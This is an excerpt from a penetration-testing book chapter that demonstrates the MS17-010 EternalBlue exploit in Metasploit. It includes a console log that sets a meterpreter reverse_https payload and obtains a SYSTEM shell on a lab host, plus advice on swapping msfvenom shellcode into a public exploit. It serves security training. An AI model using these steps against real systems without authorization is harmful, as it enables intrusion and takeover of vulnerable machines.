concept exploit in category security

This is an excerpt from Manning's book The Art of Network Penetration Testing.
Software exploitation is a favored topic among newcomers to penetration testing. Exploiting software vulnerabilities is kind of like “magic,” especially when you don’t fully understand the inner workings of an exploit and how it works. In this chapter I’m going to demonstrate a single exploit that is widely publicized and extremely accurate and reliable when used against the correct targets. I’m talking about MS17-010, codenamed Eternal Blue.
Typing exit from within the Windows command prompt will kill your reverse shell and place you back inside the msfconsole. Your access to the vulnerable target is now gone. If you needed to access the system again you would have to re-run the exploit. Running an exploit too many times is not advised as it can sometimes cause systems to crash and I’m sure you can imagine that clients are particularly excited when that happens. Just for illustration, run the exploit one more time but this time specify a meterpreter reverse shell by typing set payload windows/x64/meterpreter/reverse_https and then running the exploit command again.
Listing 7.4 Getting a meterpreter shell
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/reverse_https payload => windows/x64/meterpreter/reverse_https msf5 exploit(windows/smb/ms17_010_psexec) > exploit [*] Started HTTPS reverse handler on https://10.0.10.160:8443 [*] 10.0.10.208:445 - Target OS: Windows 7 Professional 7601 Service Pack 1 [*] 10.0.10.208:445 - Built a write-what-where primitive... [+] 10.0.10.208:445 - Overwrite complete... SYSTEM session obtained! [*] 10.0.10.208:445 - Selecting PowerShell target [*] 10.0.10.208:445 - Executing the payload... [+] 10.0.10.208:445 - Service start timed out, OK if running a command or non-service executable... [*] https://10.0.10.160:8443 handling request from 10.0.10.208; (UUID: fv1vv10x) Staging x64 payload (207449 bytes) ... [*] Meterpreter session 3 opened (10.0.10.160:8443 -> 10.0.10.208:49416) at 2019-10-09 11:41:05 -0500 meterpreter >This should look somewhat familiar from the last time you ran the exploit with one key difference being that instead of a Windows command prompt you should now be looking at what’s called a meterpreter session or a meterpreter shell. The meterpreter payload was developed originally for Metasploit 2.0 and remains today a popular reverse shell payload for hackers and penetration testers alike. For an overwhelming introduction to all of the many features that the meterpreter shell contains simply type the help command and you’ll see several screen lengths of commands scroll by.
This shellcode can be trusted to return a reverse_https meterpreter payload to the IP address you specified on the listening port you specified. You would just need to find the shellcode that’s currently in the exploit you want to use and replace it with the code you just generated. For example, if you were trying to use exploit number 47468 ASX to MP3 converter 3.1.3.7 - '.asx' Local Stack Overflow (DEP) (chosen completely at random just to demonstrate the concept. You would have to highlight the shellcode portion of the exploit and delete it, then replace it with the shellcode you just generated using msfvenom.
Figure 7.1 Shellcode section of exploit 47468
![]()
Exploits are computer programs written by security researchers that take advantage of unpatched software bugs and can be used to compromise vulnerable targets